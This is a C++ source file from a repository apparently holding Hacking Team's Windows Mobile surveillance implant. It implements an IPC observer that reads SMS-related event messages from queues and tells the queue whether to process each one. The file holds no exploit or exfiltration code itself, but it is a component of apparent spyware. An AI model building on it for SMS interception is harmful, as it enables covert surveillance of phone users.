hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/Observer.cpp

Summary

Maintainability
Test Coverage
#include "Observer.h"

/**
* La nostra unica reference a Observer. La gestione della concorrenza viene fatta internamente
*/
Observer* Observer::Instance = NULL;
volatile LONG Observer::lLock = 0;

Observer::Observer() : hQueueWrite(NULL), hQueueRead(NULL),
hObserverMutex(NULL), pRegistered(NULL), pQueue(NULL), 
m_iQueueCommand(EVENT_NOT_INTERESTING), m_pIpcMsg(NULL), dwMsgLen(0), bRefresh(TRUE) {
    dwQueueBuf = 4 * 1024;

    hObserverMutex = CreateMutex(NULL, FALSE, NULL);

    // Prepariamo l'handling della coda IPC
    ZeroMemory(&qRead, sizeof(qRead));
    ZeroMemory(&qWrite, sizeof(qWrite));

    // Se chiamiamo la CreateMsgQueue() su una coda che gia' esiste
    // vengono utilizzati solo questi due parametri.
    qRead.dwSize = sizeof(qRead);
    qWrite.dwSize = sizeof(qWrite);
    qRead.bReadAccess = TRUE;
    qWrite.bReadAccess = FALSE;

    hQueueRead = OpenMsgQueue(GetModuleHandle(NULL), g_hSmsQueueRead, &qRead);

    if (hQueueRead == NULL)
        return;

    hQueueWrite = OpenMsgQueue(GetModuleHandle(NULL), g_hSmsQueueWrite, &qWrite);

    if (hQueueWrite == NULL)
        return;

    pQueue = new(std::nothrow) BYTE[dwQueueBuf];
}

Observer::~Observer() {
    if (hObserverMutex != NULL)
        CloseHandle(hObserverMutex);

    if (hQueueWrite)
        CloseMsgQueue(hQueueWrite);

    if (hQueueRead)
        CloseMsgQueue(hQueueRead);

    if (pQueue)
        delete[] pQueue;
}

Observer* Observer::self() {
    while (InterlockedExchange((LPLONG)&lLock, 1) != 0)
        Sleep(1);

    if (Instance == NULL)
        Instance = new(std::nothrow) Observer();

    InterlockedExchange((LPLONG)&lLock, 0);
    return Instance;
}


BOOL Observer::ReadQueue() {
    DWORD dwFlags;

    dwFlags = 0;

    if (pQueue == NULL || hQueueRead == NULL) 
        return FALSE;

    if (bRefresh == FALSE)
        return TRUE;

    ZeroMemory(pQueue, dwQueueBuf);

    if (ReadMsgQueue(hQueueRead, pQueue, dwQueueBuf, &dwMsgLen, 1000, &dwFlags) == FALSE) {
        bRefresh = TRUE;

#ifdef _DEBUG
        DWORD dwErr = GetLastError();

        if (dwErr == ERROR_INSUFFICIENT_BUFFER) {
            DBG_TRACE(L"Debug - Observer.cpp - GetMessage() [ReadQueue() == ERROR_INSUFFICIENT_BUFFER]\n", 5, FALSE);
        }

        if (dwErr == ERROR_PIPE_NOT_CONNECTED) {
            DBG_TRACE(L"Debug - Observer.cpp - GetMessage() [ReadQueue() == ERROR_PIPE_NOT_CONNECTED]\n", 5, FALSE);
        }
#endif
        return FALSE;
    }

    m_pIpcMsg = (pIpcMsg)pQueue;

    bRefresh = FALSE;
    return TRUE;
}

BOOL Observer::WriteQueue() {
    // Usiamo i 3 byte di packing per inviare il messaggio invece di
    // allocare spazio nella struttura
    IpcMsg pResponse;

    if (m_pIpcMsg == NULL) {
        DBG_TRACE(L"Debug - Observer.cpp - WriteQueue() [m_pIpcMsg == NULL]\n", 5, FALSE);
        return FALSE;
    }

    ZeroMemory(&pResponse, sizeof(pResponse));

    // Segnaliamo alla coda cosa fare con il messaggio
    pResponse.dwForwarded = 0;
    pResponse.dwMsgLen = sizeof(UINT);
    pResponse.dwRecipient = m_pIpcMsg->dwRecipient;
    pResponse.dwSender = m_pIpcMsg->dwSender;
    CopyMemory(pResponse.Msg, &m_iQueueCommand, sizeof(m_iQueueCommand));

    // Proviamo a mandare il messaggio in ogni caso!
    return WriteMsgQueue(hQueueWrite, &pResponse, sizeof(IpcMsg), 1000, MSGQUEUE_MSGALERT);
}

BOOL Observer::ResetList() {
    list<Listeners>::iterator iter;

    if (pRegistered == NULL)
        return FALSE;

    for (iter = pRegistered->begin(); iter != pRegistered->end(); iter++) {
        (*iter).bProcessed = FALSE;
        (*iter).bDispatched = FALSE;
    }

    // Resettiamo lo stato di m_iQueueCommand
    m_iQueueCommand = EVENT_NOT_INTERESTING;

    return TRUE;
}

BOOL Observer::Dispatch() {
    list<Listeners>::iterator iter;

    // Chiamiamo la WriteQueue() solo se tutti i listener hanno markato il messaggio
    BOOL bComplete = TRUE;

    for (iter = pRegistered->begin(); iter != pRegistered->end(); iter++) {
        if ((*iter).bDispatched == FALSE) {
            bComplete = FALSE;
            break;
        }
    }

    if (bComplete == FALSE)
        return TRUE;

    // Non abbiamo un messaggio, qualcosa e' andato storto
    if (m_pIpcMsg == NULL) {
        DBG_TRACE(L"Debug - Observer.cpp - Dispatch() [m_pIpcMsg == NULL]\n", 5, FALSE);
        return FALSE;
    }

    bRefresh = TRUE;

    // Se m_iQueueCommand e' uguale EVENT_NOT_INTERESTING significa che l'evento non interessa 
    // a nessuno, quindi eseguiamo il comando di default per quell'evento.
    if (m_iQueueCommand == EVENT_NOT_INTERESTING) {
        // MANAGEMENT - Qui vanno aggiunte le azioni di default per ogni futuro evento
        switch (m_pIpcMsg->dwSender) {
            case EVENT_SMS:
                m_iQueueCommand = IPC_PROCESS;
                break;

            default: 
                m_iQueueCommand = IPC_PROCESS;
                break;
        }
        DBG_TRACE(L"Debug - Observer.cpp - Dispatch() [m_iQueueCommand == EVENT_NOT_INTERESTING]\n", 5, FALSE);
    }

    
    if (WriteQueue() == FALSE) {
        // Non siamo riusciti a scrivere nella coda, e' grave!!!
        DBG_TRACE(L"Debug - Observer.cpp - Dispatch() [WriteQueue() FAILED]\n", 5, FALSE);
        return FALSE;
    }

    // Resettiamo la lista dei listener
    return ResetList();
}

// Un agente/evento non deve mai chiamare la Register() piu' di una volta senza aver
// chiamato prima la unregister.
BOOL Observer::Register(UINT uTid) {
    WAIT_AND_SIGNAL(hObserverMutex);
    Listeners part;

    if (pRegistered == NULL) {
        pRegistered = new(std::nothrow) list<Listeners>;

        if (pRegistered == NULL) {
            DBG_TRACE(L"Debug - Observer.cpp - Register() [pRegistered == NULL]\n", 5, FALSE);
            UNLOCK(hObserverMutex);
            return FALSE;
        }

        pRegistered->clear();
    }

    part.uTid = uTid;
    part.bProcessed = FALSE;
    part.bDispatched = FALSE;

    pRegistered->push_back(part);
    UNLOCK(hObserverMutex);
    return TRUE;
}

BOOL Observer::UnRegister(UINT uTid) {
    WAIT_AND_SIGNAL(hObserverMutex);
    list<Listeners>::iterator iter;

    if (pRegistered == NULL) {
        DBG_TRACE(L"Debug - Observer.cpp - UnRegister() [pRegistered == NULL]\n", 5, FALSE);
        UNLOCK(hObserverMutex);
        return FALSE;
    }

    // Scorriamo tutta la lista... Giusto per rimuovere eventuali doppioni
    for (iter = pRegistered->begin(); iter != pRegistered->end();) {
        if ((*iter).uTid == uTid)
            iter = pRegistered->erase(iter);
        else
            iter++;
    }

    UNLOCK(hObserverMutex);
    Sleep(200);
    return TRUE;
}

const BYTE* Observer::GetMessage() {
    WAIT_AND_SIGNAL(hObserverMutex);

    if (ReadQueue() == FALSE) {
        UNLOCK(hObserverMutex);
        return NULL;
    }

    UNLOCK(hObserverMutex);
    return pQueue;
}

BOOL Observer::MarkMessage(UINT uTid, UINT uCommand, BOOL bProcessed) {
    WAIT_AND_SIGNAL(hObserverMutex);
    list<Listeners>::iterator iter;
    BOOL bRet;

    if (pRegistered == NULL) {
        DBG_TRACE(L"Debug - Observer.cpp - MarkMessage() [pRegistered == NULL]\n", 5, FALSE);
        UNLOCK(hObserverMutex);
        return FALSE;
    }

    // Scorriamo tutta la lista... Giusto per processare eventuali doppioni
    for (iter = pRegistered->begin(); iter != pRegistered->end(); iter++) {
        if ((*iter).uTid == uTid) {
            (*iter).bProcessed = bProcessed;
            (*iter).bDispatched = TRUE;
        }
    }

    if (bProcessed)
        m_iQueueCommand = uCommand;

    bRet = Dispatch();

    UNLOCK(hObserverMutex);
    return bRet;
}